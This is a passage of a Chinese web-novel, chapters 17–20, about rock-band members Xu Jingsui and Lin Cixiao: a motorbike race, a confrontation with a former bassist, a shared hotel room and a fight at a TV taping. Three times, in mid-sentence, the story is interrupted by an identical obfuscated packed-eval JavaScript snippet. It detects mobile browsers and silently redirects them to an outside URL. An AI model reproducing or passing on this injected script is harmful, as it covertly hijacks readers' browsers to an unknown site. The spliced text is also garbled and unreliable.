许惊岁为自己这个发现欣喜,好像无意之中又看到了林此宵的另一面,他唇角弯了弯,突然靠近对方,带着笑道:“如果你不信,可以跟我试试看。” 17. 再谈记忆 试什么? 林此宵忽然愣住,实在没想到对方的告白竟然如此轻率,他绷着嘴角,脸色有些冷,拒绝道:“对不起,我不喜欢男生。” 许惊岁盯着他看了小会,余光瞥见对方不断变红的耳尖,什么也没说,低下头很浅地笑了笑。 钓鱼不能操之过急,挂上饵要耐心等待。 他见好就收,打开投影仪,转了话题,好奇问:“你喜欢看什么类型的电影?浪漫爱情还是惊悚悬疑?” 旁边人默了几秒,薄唇轻启,“都行。” “那就这个好了。”许惊岁点开上次没看完的电影,“我每次看到主角星河探险那儿就会睡着,再醒来影片就结束了,好几次都是这样,很神奇。” 他点下了播放键,同时将屋内的大灯关上,只留下一盏昏黄的落地灯,造型像垂下的花苞,落下的光晕是一个橘色的圆,温暖地圈住两人。 外面是漆黑无边的雨夜,室内却很温馨。这么多年以来,许惊岁都是一个人面对暴雨天,而这次,却有了同行者。 他看了会,就开始萌生困意,枕着外面淅淅沥沥的雨声,竟然不知不觉地睡着了。 旁边传来轻柔而规律的呼吸声。林此宵抿着嘴角,定定地看了他好一会,对方睡得很沉,并不像在装睡。 这几天有些降温,又是雨夜,这么睡一晚势必会感冒,他犹豫了几秒,还是起身去卧室拿了一床夏凉被过来。 他俯身将被子轻轻盖在对方身上,许惊岁睡得很乖,似乎对周围的一切都不设防。 林此宵刚要起身,手突然被抓住,他听见对方低声梦呓了一句,声音含混,乍一听起来像是在撒娇,可声音很低,如幼兽般呜咽。 他仔细辨别了两秒,才反应过来对方说的是:“妈妈别走...” 睡梦中的那张好看的脸微微皱着,像一件易碎的工艺品。林此宵罕见地愣了愣,他见过这人太多面,却又发现好像还只是冰山一角。 过了两秒,他才将手抽出,又轻轻地把许惊岁的手放了回去。 一觉天明。许惊岁醒来的时候窗外的雨已经停了,阴霾散去,迎来了艳阳天。 电影早已结束,屋内不见林此宵的身影,应该早就离开了吧? 许惊岁从沙发上坐起来,没忍住打了个喷嚏,嗓子有些发干,是感冒的前兆,他正要起身,余光却瞥见了地上的一团被子。 他虽然不记得自己是几点睡着的,但是清醒记得这床被子是在卧室的,也就是说,是林此宵帮他盖的被子? 他缓慢眨了眨眼睛,心想:林此宵这人看着挺冷,但心其实很软。 只是不凑巧,许惊岁睡觉向来很不老实,更何况沙发这么小的地点,翻两个身就能把被子蹬下去。 他洗漱完,套了件棕色夹克,开车去了祁洲那儿。 祁洲对他的来意了然于心,直接斩钉截铁地说不可能,“其他事我都可以答应你,唯独这件事,没得商量,我明天就去招贝斯手,这事你不用管了。” 可许惊岁这人最大的特点就是倔。他的眼神坦荡直白,澄清道:“林此宵没有碰过那些东西,至于齐休的死,跟他也没有关系。” “他跟你说的?”祁洲嗤笑了一声,“他说你就信啊?” 许惊岁丝毫没有犹豫地道:“我信。” 祁洲闻言一愣,他知道许惊岁家境好性格好,从小就是顺风顺水的小少爷,过于理想主义,可是他见的人多了,深谙人心之道。 他沉声问:“小岁!你了解他是个什么样的人吗?万一,我是说万一,他要是骗你的呢,你要是看走眼了呢?” “他不会。”许惊岁直视着他的眼睛,直白道:“如果真的看走眼,一切后果我来承担。” 两人各执己见,谁也不愿退步。事情到最后是颜韵做了主,“你两既然谁都不服谁,干脆比一场好了。” 许惊岁说:“可以,比什么?” 祁洲也没想到许惊岁会这么坚持,印象中还是第一次见许惊岁这个样子,他想了下,说:“比赛车,你如果能赢我,我就同意让他加入。” 在场的一听就知道祁洲看似松口,实则给了个下马威,他虽是个业余车手,但车技很好,早年还有赛车队邀请他加入。 颜韵有些担忧地看向许惊岁,只见后者垂眸思索了片刻后,应了“好。” 时间定在了后天。 几人在工作人员的引领下来到了赛车场里面。许惊岁动作娴熟地穿好赛车服、佩戴好护具。 祁洲对许惊岁的赛车技术心里没底,戴上头盔之前,还是有些不放心地看着他说:“要不算了吧,为了林此宵值得吗?” 许惊岁只是冲他笑笑,戴上了头盔,扭头朝停在一旁的雅马哈R6走了过去。 祁洲见他心意已决,也不再相劝,默默戴上头盔,上车等待指令发起。 只听一声枪响,身穿黄色赛车服的许惊岁与蓝色赛车服的祁洲一同如离弦之箭般冲了出去。 祁洲无论是赛道经验还是驾驶技巧都远胜于许惊岁,前面两三圈都领先了许惊岁,可渐渐的,他发现了一些不对劲。 大多摩托者驾驶者都会采取弯道带刹过弯,这也是关键时刻能救命的过弯技巧,可许惊岁在过弯时并不减速,这么一来就在转弯时缩短了与祁洲的距离。 几圈下来,许惊岁不仅追上了他,并且与他咬得很紧。 祁洲实在想不到许惊岁能为什么事这么拼,他怕真出什么意外,万一摔到了,都不是小伤,有了顾虑,速度自然地也慢了下来。 眼看又到一个弯处,许惊岁还是丝毫没有犹豫的带速过弯,将祁洲甩在了身后,剩下还有一段直线,祁洲立刻加速,摩托车的轰鸣作响,如一阵劲风掠过。 颜韵被这个场面带动的热血沸腾,许惊岁与祁洲其实咬得很紧,局势好像随时都会反转,过了几秒,她看见许惊岁率先过线,而祁洲紧随其后,两人相差不过一个眨眼的功夫。 车速缓缓地降下来,许惊岁将车停在了一旁的空地,摘下头盔甩了甩被汗浸湿的碎发,笑着看向身后走来的祁洲,得意地道:“我赢了。” 祁洲也看向他,极限运动引发的心脏剧烈跳动,他缓了缓,过了片刻,疑惑问:“你什么时候学的摩托?” “祝响爱玩这些,跟他一起跑过几次。” 难怪技术不是很专业,但毫无疑问是有天分的,祁洲之前跟车队的人一起跑,能够不减速过弯的还没见过几个。 祁洲将头盔递给工作人员,与他一同朝出口走去,“所以你是有把握赢我,才答应的是吗?” “不。”许惊岁笑了下,将汗湿的头发随意的往后捋,“恰恰相反,我没有胜算。” 祁洲愣了愣,“那你还跟我比?” “比,还有可能性,不比,可能性就为0了。”许惊岁顿了下:“所以我选择放手一搏。” 确实是许惊岁会说出来的话。 “行,我愿赌服输,我同意让林此宵加入。”祁洲说的多少有些不情不愿。 许惊岁知道祁洲在刚才的比赛中有放水,他看着祁洲的背影,想了几秒,喊住了他。 “水哥,那些媒体报道以及传言就一定是真的吗?你知道的,倘若对一件事带上了主观色彩,那就很难客观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181103|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地去看待。”许惊岁看着他,淡淡道:“‘真正重要的东西,用眼睛是看不见的’,水哥,他真的是一个很优秀的贝斯手,我希望你可以考虑一下他,给他一个机会,这才是我同你比赛的目的。” 祁洲看了他好一会,忽然想起来第一次见到许惊岁时,就是被对方身上这股子不管不顾、横冲直撞的劲儿吸引的。 “那如果今天你输了呢?”祁洲突然问。 “我没想过。”许惊岁坦白道,他笑了笑,有些孩子气,语调轻快地讨好道:“可能会换个方法来说服你,例如死缠烂打?” 祁洲闻言笑了下,有些宠溺和无奈。 颜韵也走了过来,方才的那些话她也都听见了,她抬头看着祁洲,想了想,说:“水哥,我觉得不妨给他一个机会,况且一时半会也找不到合适的贝斯手,既然小岁这么确定,我相信他的直觉。” 过了好几秒,祁洲说:“让我好好想想吧...” * 从那次赛车场一别,已经过了两天。 祁洲带来了两个消息,第一条是他愿意给林此宵一个机会试试看,但倘若有什么不对劲,必须立刻将他踢出,许惊岁点了点头,表示同意。 “第二条是上个月接的那个乐队综艺给我发消息了。” “乐队之约?”颜韵抬头看了过去。 “对,没错,节目下周一开始录制先导片,今个是周六,录制地点在南佘市。咱们明天就得出发过去。” “这事你回头跟林此宵转达下。”祁洲说完看向许惊岁。 许惊岁一乐,往后靠着椅子仰头看着祁洲,阳台的风将他的碎发吹乱,露出好看的眉眼,笑着道:“为什么我说呀?” 祁洲想说“你找来的人你不负责?”结果话说出口却变成了:“你的人你不负责?” “我的人?”许惊岁咂摸了下,低声笑了笑,应下:“行,我回头跟他说一声。” 第二天下午,四个人在排练室碰面,而后一同踏上了前往南佘的路。祁洲开的车,颜韵晕车坐在了副驾,许惊岁跟林此宵坐在后座。 到南佘大概有一个半小时的车程,不知是不是因为感冒的缘故,许惊岁这两天总是乏得很,坐上车还没半小时就开始犯困。 林此宵正看着窗外,忽然间,一个脑袋靠在了他的肩上,他本能的想要往旁边移开,可偏头看到许惊岁睡得正熟的模样,午后阳光洒在他脸上,勾勒出一幅令人心软的柔和画面,他想了几秒,最终还是没有动。 车到达地点后,许惊岁被祁洲喊醒,他坐了起来,揉着惺忪睡眼,这一觉睡得很好,他缓过神看了眼旁边的林此宵,对方已经先他一步下了车。 由于到达时已经临近晚饭点,几人决定先去吃饭再去酒店。 祁洲跟林此宵腿长步子大,走在前面,许惊岁慢悠悠地跟颜韵并肩走着。 走了几步,颜韵忽然开口低声道:“你跟林此宵关系真挺不错的啊。” “什么?”许惊岁正走神,闻言看向颜韵,一脸的“你何出此言?” “难道不是吗?”颜韵看了眼林此宵的背影,说:“你为了他跟水哥比赛,刚才你靠在他肩膀睡着了,他为了不吵醒你可是一个小时一动没动,跟个雕塑似的,估计肩膀都要麻了吧。” 许惊岁愣了两秒,反应过来下意识向前看去。 前面两人似乎察觉到距离甩得太开,便停下了脚步转过身看了回来。林此宵的脸上没什么表情,一如既往的冷淡模样,跟颜韵说的那个体贴入微的人好像没有半点关系。 许惊岁盯着他的脸,勾着嘴角笑了笑,说:“或许是吧。” 18. 再谈记忆 南佘市的烧烤一条街很出名,一眼望去,大大小小的烧烤铺子看不到头。 “听说这边下周有庙会,说不定咱们还可以去逛逛。”祁洲说。 几个找了个口碑好的当地人开的烧烤摊,来的时候里面的桌子已经坐满了人,祁洲领着在外面落了座。服务员递来菜单,他接过点了几样当地特色,抬头看向众人,征询意见:“你们看看要不要再加些什么?” 几人接过点菜单,看了眼。 颜韵:“可以了。” 林此宵:“嗯。” 许惊岁淡淡道:“点两瓶啤酒吧,光吃烧烤不喝酒,没意思。” “你能喝酒吗?”祁洲看向许惊岁,关心语气问:“你这两天不是感冒吗?” “没事。”许惊岁不怎么在意。 “你还不了解他?”颜韵搭腔,睨了他一眼,“胃疼都能照样吃辣,我就没见过这么不照顾自己的人。” 林此宵闻言看了眼旁边的许惊岁。 斜前面那桌的几个男人喝多了,酒杯撞得邦邦响,说话嗓门大得吵耳朵。许惊岁皱了皱眉头,偏过头,正巧与林此宵投来的视线撞了个满怀,他坏趣味地挑了下眉尾,后者很快收回了视线,仿佛无事发生。 “行,那就这些吧。”祁洲将点菜单递给服务员。 落了座,气氛一时寂静。祁洲虽然同意了林此宵的加入,但是对他还是冷着脸,不过林此宵本身脸也冷,两人坐在那像一随时会喷发的休眠火山和一座万年无人到访的雪山。 许惊岁跟颜韵面面相觑,过了会,他率先打破了沉寂,拿了串烤好的鸡翅递给祁洲。 祁洲见他一脸讨好的样子,忍俊不禁却还是故作正经,“无事献殷勤?给我下毒了还是掉地上了?” “哪能啊,孝敬您的,您可是我们大哥呢。”许惊岁笑着道。 这话让祁洲很是受用,绷着的脸霎时都缓和了几分,他也拿了串不辣的土豆片放到许惊岁面前,“吃吧,凉了就不好吃了。” 许惊岁眨了眨眼睛,忽然乖巧道:“水哥对我真好。” 颜韵擦了擦手,打趣道:“那当然,谁让你是我们的老幺。” “现在有了新人,我可不一定是老幺了。”许惊岁说完看着一直在旁静默的林此宵,自然而然地把他拉入了集体,笑着道:“还没问过你的年龄。” 林此宵看着他,淡淡道:“19。” “哇哦,新的老幺已经诞生。”颜韵有些惊讶,没想到看着最沉稳的竟然年纪最小。 林此宵怔了下,下意识看向许惊岁,像是没反应过来,后者嘴角噙着笑,露出好看的小虎牙,得意解释道:“水哥24,韵姐21,我20,不好意思啊,老幺。” 林此宵:...... 节目拟邀了国内四十个乐队,也就意味着碰到熟人的概率不小。烧烤刚吃到一半,就遇到了祁洲的一个好友。 对方一队人马正愁找不到座位,干脆几人拼了一桌,同是滚人,话题自然不少,气氛顿时热闹了起来,几瓶酒神不知不觉地下了肚。 见吃的差不多了,许惊岁起身走到前台去买单,刚要出示收款码的时候,一只手拿着手机突然插了过来。 许惊岁愣了下,扭头就看到林此宵的脸,他顿时笑了,手肘撑着前台柜子,调侃道:“今晚的消费都由林公子买单?” 旁边响起支付成功的消息声。林此宵垂眸看他,说:“我还你的钱,你还没收。” 许惊岁忽然想起来确实还有那么一回事,在他把林此宵的微信从黑名单放出来之后,这人又给他发了一万,还说不是分期还款...... “我不是说了吗?用你在乐队来抵。”许惊岁没什么所谓地说,离开前台前还顺手拿了颗薄荷糖,撕开丢嘴里。 “不一样的。”林此宵的表情很认真。 乐队是乐队,可欠许惊岁的钱自然也是要还的,他本想着还许惊岁一只表,但是不知道那是什么牌子。 许惊岁其实对那万把几万压根没放在心上,顶多就当丢了只表,而且也多亏了那只表,才让他跟林此宵有了交集。 况且现在来参加节目,一时半会没有什么收入来源,他不想林此宵因为钱的事分心。虽然林此宵没说过,但是他隐隐能察觉到林此宵的家境估计不是很乐观,否则也不会兼那么多的职,还被追债的找上门。 “你真想还我?”他突然停下了脚步,直勾勾地看着林此宵,见对方一脸笃定,他玩笑道:“林此宵,我不要钱,要不,你把你抵给我?” 正是饭点,周遭熙熙攘攘,来来往往的行人各说各的,并没有人注意到这一角,有两颗心在纠缠。 林此宵怔了两秒,对上许惊岁眼里清明的笑意,明明是许惊岁的惯招,早该习惯的,可是心还是会不知所措。 薄唇抿了抿,刚想要开口,忽然身后响起一道男声:“许惊岁?” 林此宵放眼看去,视线内是个穿着黑色体恤的瘦高男人,长相偏温柔,他几乎是立刻就认了出来,正是上次与许惊岁在巷口相拥的那位。 许惊岁转过身,在看清来人面容时,脸上的笑意顿时收了起来。 距离上一次见面已经过去了好几个礼拜。从接到节目邀约,听说极昼也会来的那刻,闻穆就猜到了会跟许惊岁见到,只是没想到这么快。 对方脸上的冷淡并没有劝退他,闻穆竭力地找话题,笑着道:“好巧,没想到能在这碰到你,你应该也是来参加节目的吧?” 许惊岁只给了他一个很淡的眼神,看起来像是跟他多说一句话都属于浪费口舌。 闻穆笑容在嘴角僵了下,又很快恢复如常,“这家烧烤的辣椒特别辣,小岁,你胃不好还是少吃点为好。” 他说完,许惊岁抬眸冷冷地看了他一眼,眼神像锋利的剑,一下子就刺破他伪善的虚伪外壳。 闻穆眼神没来由地躲闪了下,移到许惊岁旁边的陌生面孔上。 男生给他的第一感觉就四个字——“高岭之花”。虽然同为男性,但他不得不承认,这人的长相很出众,但浑身给人一种不好接近的清冷疏离感,他觉得应该不是许惊岁会喜欢的类型。 许惊岁太要强,对待一些事情甚至可以用“固执”来形容,极有自己的思想和做事态度,他一开始试图去驯服许惊岁,却发现他并不是脑袋空空的美丽花瓶,而是独具棱角的宝物,这么一个人,应当会喜欢小鸟依人的类型,而不是同样具有锋利棱角的人。 “这位是?”他装作好奇的模样,上下打量了男生几眼,有些明里暗里的瞧不上:“该不会是极昼新找的贝斯手吧?” 闻穆眸光紧盯着林此宵,状似友好地伸出手,笑着自报家门道:“你好,我是闻穆,极昼的前贝斯手。” “我瞧着你有些眼熟,我们之前是不是见过?不好意思啊,我的记忆力不太好,小岁也没跟我提过你。” 原来这个人是极昼的前贝斯手...... 林此宵怔了下,心里有些说不上的不对味,他看向闻穆,抿了抿唇,正要抬手与其相握,却被人突兀按住。 许惊岁伸手紧握住他的手腕,掌心温热,他还没反应过来,手就被拉了回去。 许惊岁掀起眼皮,冷不丁地看着闻穆,一张明媚的脸上染了乌云,直白地问:“你说完了吗?” “小岁我......” 许惊岁打断了他的话,“别这么喊我,我嫌恶心。” 闻穆闻言面色如土,他生硬地扯了扯嘴角,笑得很难看,见许惊岁要走,他忙抓住对方的胳膊,姿态很低的卑微乞求道:“你再给我一个机会好吗?我已经改了,我喜欢的人只有你!你忘了吗?我们一起演出一起创作的日子,明明我们才是最默契的搭档啊。” 许惊岁甩开了他的手,冷笑道:“你未免太会往自己脸上贴金。” “既然你这么好奇,那我大发慈悲告诉你。”许惊岁忽然拉住林此宵的手,不由分说地十指相扣,姿态亲昵,他缓缓道:“林此宵,极昼现贝斯手,以及...我的男朋友。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181104|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林此宵闻言一愣,扭头看向许惊岁,只见对方眉眼弯弯地望着他,心脏在那一刻好像过电般酥酥麻麻,竟让他一时忘了反驳。 闻穆登时睁大了眼睛,盯着两人交握的手,一脸的不敢置信,过了几秒,他眼底的阴郁浓烈,脸色也绷不住,咄咄道:“什么时候?” “与你无关。”许惊岁冷睨了他一眼,头也不回地拉着林此宵离开。 身后的那张脸的脸色越发的阴沉,全然没了方才的温善和卑微。 装可怜跟扮演无辜受害者是他最擅长的事,从一开始的退队到现在的卖惨,闻穆确实是个工于心计的人,只不过他算错了许惊岁的心。 他自以为许惊岁念旧情、心又软,对他定有那么几分的重视,没想到到头来,只是如啤酒上的浮沫,抿一口全是空气。 两人走出几步后就松开了手,林此宵先松的,许惊岁不以为意,好笑地看了他一眼,“怎么?拿你挡枪不开心了?” 是有些不开心,但也不全是不开心,这种心情难得的微妙,像是卡在了一个交界点,非负非正。 “他那人死皮赖脸的,我也是被他缠得没办法才出此下策。要不,我给你道个歉?”许惊岁似笑非笑的,慵懒松弛地喊了声:“我的好弟弟?” 弟弟二字像是触到了什么开关似的,林此宵顿时唇绷成一条笔直的线,他皱起眉头,神情也有些不自在,问:“道什么歉?” “毁了你的清白呀。”许惊岁含笑道,见对方冷着一张脸,耳廓却微不可查的泛红,他没忍住打趣道:“你怎么搞的我好像在调戏良家妇女一样?” “许惊岁。”林此宵低沉声线喊他,含着微微怒气的嗓音听起来有些性感。 许惊岁眨了眨眼睛,一脸纯真无害,明知故问道:“怎么了?我的好弟弟。” “闭嘴!” 两人回到位置时,祁洲已经有些不省人事地趴在桌子上,颜韵看了眼,道:“怎么去了这么久?” “遇到了闻穆。”许惊岁的表情不太好,颜韵心底了然,便没再问。 许惊岁跟林此宵一人扶着祁洲一边,将人架回了车上。 节目组很阔气,包了所有艺人的住宿。许惊岁来到前台办理入住,工作人员查了下空房,说:“不好意思,本来预留给您的1602号跟1603号房间因为水管问题正在重修,暂时无法入住,这边帮你把四个单人间换成了一个双人间,以及两个单人间,可以吗?” 颜韵女孩子自然是要一人一间,祁洲睡眠质量不好向来不喜欢跟别人一起住,也就是说,只能自己跟林此宵一间了。 许惊岁想了下,这段时间正是南佘的旅游旺季,这么晚了别的酒店也未必有空房,况且祁洲还醉着。目前似乎没有更好地解决方案。 “可以。” “好的,请稍等一下。”两分钟后,前台递来三张房卡,笑着道:“祝您入住愉快,有任何问题都可以联系前台。” 许惊岁接过道了谢,转过身像老师给小朋友发糖果似的,将一张递给颜韵,又将另一张递给祁洲,轮到林此宵的时候没了,对上对方疑惑的眼神,他说:“咱两一起住。” 林此宵怔了下,眼神似乎在问:“为什么?” 许惊岁看着他的眼睛,认真解释道:“水哥睡眠很浅,不喜欢跟人一起住。” 林此宵忽然发现许惊岁这个人看着散漫,好像什么都不往心里去,但一旦你真的跨进了他的世界,会发现他是个细致敏感的人。 “如果你介意的话,我可以出去找个别的酒店住。”许惊岁说得很真挚,好像林此宵不同意,他下一秒就会离开一样。 林此宵看着他,薄唇抿了抿,下意识地想:“真要出去住,也该是自己出去才对。”虽然没有明说,但是他清楚地知道,极昼还没有真的接纳他,自己才是那个“外人。” “不用。”电梯门打开的瞬间,许惊岁听见清冷的嗓音响起。顿了下,林此宵缓缓道:“已经这么晚了。”听起来倒像是在找补。 19. 再谈记忆 许惊岁笑了笑,眼睛在灯光下的照耀下很亮,像一只计谋得逞的小狐狸。林此宵愣了下,才明白自己似乎又中了圈套。 许惊岁让颜韵先回房休息,又同林此宵一起将祁洲扶回了房间。他帮祁洲把鞋子脱掉,后者迷迷糊糊地趴在床上,边拉着被子将自己裹起来,边嘟囔着:“我没喝多...” 许惊岁:...... 他默默倒了杯水放在床头,走出门前又将空调的温度调到了26℃。 两人的房间就在祁洲的斜前面。许惊岁刷开门锁,将房卡插进感应槽内,供上电,屋内瞬间亮了起来,两人看见里面的全貌后皆是一愣。 这间房大概是情侣间,装修的很温馨,入眼全是粉红色,粉红色墙纸、地毯、床单,就连柜子都是粉色。 许惊岁本就想笑,看见林此宵面如死灰,彻底没忍住笑出了声,后者一脸冷酷地看着他,他收了收笑,嗓音还带着止不住的笑意:“挺好的,跟你的气质很符合。” 林此宵:...... 现在出去找酒店来不来得及? 许惊岁走进去将东西放下,看了眼林此宵,问:“你睡哪张床?” 其实大小一样,没什么区别。林此宵淡淡道:“都行,你先挑吧。” “那我睡左边这个。”他说完先进了浴室洗澡。 刷刷水流声从里面传出,林此宵只很快地瞥了眼,忙不迭地收了回来。坐了两分钟,他忽然想起了什么,起身出了房间。 经过几场暴雨,天气也从溽热转为凉爽,隐约有了入秋的前兆。晚风吹起林此宵的白色衬衫衣摆,他穿过街道跟马路,脚步停在了药房前。 “您好,请问你有什么需要?” “感冒药。” “请问有咳嗽、流鼻涕的症状吗?”店员看了他一眼,面前的少年看起来很健康,并无半点病态。 林此宵回想了下,“没有。” “这边的话有这几种,这个价钱贵点但是效果好,请问你要哪个?” 少年没有思索,指着她方才说的那款:“这个。” “好的,请问现金、微信还是支付宝?”店员看着他,又问:“需要袋子吗?” “微信,不用。” 林此宵买完单回了房间,他的动作很快,一来一回也才过去了十分钟。他刚走进去,浴室的房间门忽然被打开,里面蒸腾的热气争先抢后地窜出。 他下意识地将药藏在了身后,抬眼看去,许惊岁刚巧走入视线,他下.半.身围了条白色浴巾,上身赤/裸着,大概是因为灯光跟环境的原因,白皙肌肤远远看去透着一层粉。 他的头发只擦了半干,额前碎发乖顺地垂下,有点遮住了好看的眉眼,他抬手将碎发随意地捋起。有水珠顺着他的下颌线滑落,滴在结实劲瘦的小腹上,最后没入毛巾边缘。 林此宵愣了下,对方一脸疑惑地看着他,问:“你出去了?” “嗯。”他摸了摸藏在身后的药盒,像怕被发现的笨拙小偷。 “喔。”许惊岁没在意,转身朝里面走了进去,林此宵跟着进去,趁对方没注意,默不作声地将药放到了许惊岁的床头柜上。 “我好像忘记带睡衣了,你有多余的吗?可以借我穿一下吗?”许惊岁一脸单纯地问。 林此宵薄唇紧绷,过了小会,他转过身,从行李箱里拿出一套黑色的睡衣睡裤递了过去。 “洗过的。”他补充道。 对方丝毫没在意,欣然接下道谢。 林此宵洗好澡出来的时候,许惊岁已经换好了衣服。 许惊岁比他要矮一些瘦一些,因此他的衣服许惊岁穿来微微有些宽大,乍一看去,像是衣服在抱着他。 “好看吗?”许惊岁笑着看向他。 林此宵眸光微动,薄唇抿了抿,想要说些什么,话到嘴边,却还是没有说出。 “对了,这药哪来的?”许惊岁指着床头莫名其妙冒出来的药。 林此宵看了眼,移开目光,有一丝的不自然,淡淡道:“颜韵给你的。” 许惊岁“哦”了声,没发现对方的异常,很是真情实感地感慨:“韵姐可真贴心!” 关上灯,许惊岁却翻来覆去睡不着,他不认床但有些认环境,不知道过了多久,他小声喊了下林此宵。 “林此宵,你睡着了吗?” 过了好一会,旁边都不见回应,许惊岁刚要转过身背对着他,忽然听见一声低沉的清醒的:“嗯。” 他忽然想起来原来看过的一个笑话:“请没到的同学举个手。”他在黑暗中无声地笑了下,说:“这件衣服上有你的味道,很好闻,我很喜欢。” 因为感冒,鼻音有些明显,听起来黏黏乎乎的,像撒娇。 林此宵罕见地愣了下,借着夜色的遮掩,并没有被发现。 过了几秒,就在许惊岁以为话题终结的时候,林此宵才开了口:“早点睡吧。” 清冷的嗓音在黑夜中听起来并无异常,像好听的大提琴声,许惊岁浅浅地笑了笑:“好的,晚安,林此宵。” 录制地点在南佘电视台,离酒店步行十分钟的距离。上午的拍摄内容主要是宣传照的拍摄和单采,录制放在了晚上。 几人在工作人员的带领下到达化妆间化妆。化妆师是个健谈的,有一搭没一搭地同人聊着,轮到许惊岁的时候,她还以为是艺人走错了房间,不确认地说:“艺人化妆间在隔壁。” 许惊岁笑着摇了摇头:“我不是艺人” 化妆师有些诧异地扫了眼在旁等候的林此宵三人,感慨道:“现在乐队也开始这么卷了吗?你们乐队选成员的条件是不是只要帅哥美女?” 她说着,手上动作没停。 许惊岁的皮肤很好,只用打一层底,修眉毛的时候化妆师没忍住又夸了夸:“你眼睛真好看,我还是头一次看见原生睫毛又长又翘,眼睛还亮亮的。” 许惊岁闻言笑了笑。 修完眉毛后又简单的画了几笔,化妆完成的速度比想象中要快很多。 轮到林此宵的时候,化妆师忽然问了句:“你昨晚没睡好吗?黑眼圈看起来有点重啊。” 站在旁边等着的许惊岁闻言抬眸向镜子看去,恰巧与林此宵的视线通过镜子交织在一起。 林此宵移开了目光,清冷的嗓音顿了下,才说:“有一点。” “年轻人嘛普遍压力比较大,熬夜、失眠都很正常的...”化妆师围绕着失眠话题自顾自地说着,林此宵没搭话,他很清楚造成自己失眠的原因并不是压力大,而罪魁祸首正坐在他旁边。 化完妆几人由工作人员领着换好服装后一同前往棚里拍摄宣传照,因为是乐队节目,道具组特意放了几把乐器在这方便拍摄使用。 四人到的时候,上一组的拍摄刚好结束,摄影师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181105|165278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝着他们招了招手,示意过来,指挥道:“你们手里拿个乐器什么的,要不然光站着太尴尬了。” 许惊岁边走边跟颜韵小声说:“我手里拿乐器更尴尬,拿两个鼓棒,站在那,特像指挥交通的。” 祁洲拿了把吉他挎在肩上,转头就看见林此宵嘴角带着很浅但很明显的笑意,与那种客气礼貌的笑不同,是发自内心的,他还是头一次见,一时也愣了下,腹诽道:“冰山雪融啊这是……” 几人拿了乐器,重新回到幕布前,摄影师指挥着动作,试拍了几张,他翻看了下,点着站在边缘的林此宵,说:“你往右边去点,对,再往右一点,啧,你们几个是不熟吗?” 许惊岁没忍住笑了笑,一把将他拉了过来,猝不及防的肩膀相撞,他低头看向许惊岁,对方眼角眉梢都是笑意,灯光像碎星,盛在他新月般的眼睛里,他忽然想起方才化妆师的话,突兀的心想,这双眼睛确实很好看。 “对...很好,大家看向我,不要眨眼...好了。”摄影师将成片导入电脑,翻看了下,没有什么大问题。 几人从摄影棚走出来,又要去进行单采,前面的人员还没结束,几人先被安排候在休息室。 过了会,休息室的门忽然被推开,许惊岁还以为是祁洲拿水回来了,看了眼,发现是另一队乐队。 休息室本就不大,两队人马将近十个人,显得有些拥挤,许惊岁往旁边挪了步,看见林此宵的脸色不太对劲,他正疑惑,忽然听到个男声道:“林此宵?” 许惊岁寻声看去,是个年级稍长一些的男生,很面生。 男生的表情不是很好,拧着眉头不屑的语气道:“你怎么在这?”他恍然反应过来,讥笑道:“你也是来参加节目的?不是吧,哪个倒霉乐队敢要你啊?” 他的声音很大,话音落地,周遭纷纷投来视线,林此宵绷着嘴角,喊了声:“柯安。” “你还记得我的名字呢?”柯安嗤笑,逼近林此宵,不悦道:“像你这种人,哪来的脸来参加节目啊?” “齐休才离开一年,你就迫不及待出来了?你没有心吗?”他伸手推了推林此宵的肩膀,咄咄相逼道:“也是,我都忘了,你这个人良心都全他妈的被狗吃了!” “你说完了吗?”许惊岁一把拂开他的手,冷脸看去。 柯安疑惑地看去,“许惊岁?”他不明白这人出来当什么和事佬,他不爽道:“跟你没关系,别他妈的多管闲事。” “你说什么?”许惊岁拧着眉头,脸色低沉,沉声问。 柯安咧着嘴角,皱眉道:“没听清是不是,我再说一遍,你听好了,我说,你妈没告诉你少管闲......” 他话还没说完,就见许惊岁一拳头挥了过来,柯安猝不及防的被揍的往后退了步,事情发生得太快,周围人都没反应过来。 柯安也被揍得发懵,舌侧顶了顶腮,许惊岁的力道很大,他半边脸都随之发麻,他怒骂道:“你有病是吧?!” 他箭步冲向前,作势要打回去,手刚抬起却被林此宵从空中截住,他怒目瞪去,忽然愣住。 他认识林此宵那么久,对方大多时候都是那副对什么都漠不关心的冷淡模样,说实话,他挺讨厌的,觉得这人活得特没意思,过于清醒理智。 可此时此刻,他却发现对方的表情是他从没见过的,带着明显的怒意,低沉的嗓音道:“你敢动他试试!” 20. 再谈记忆 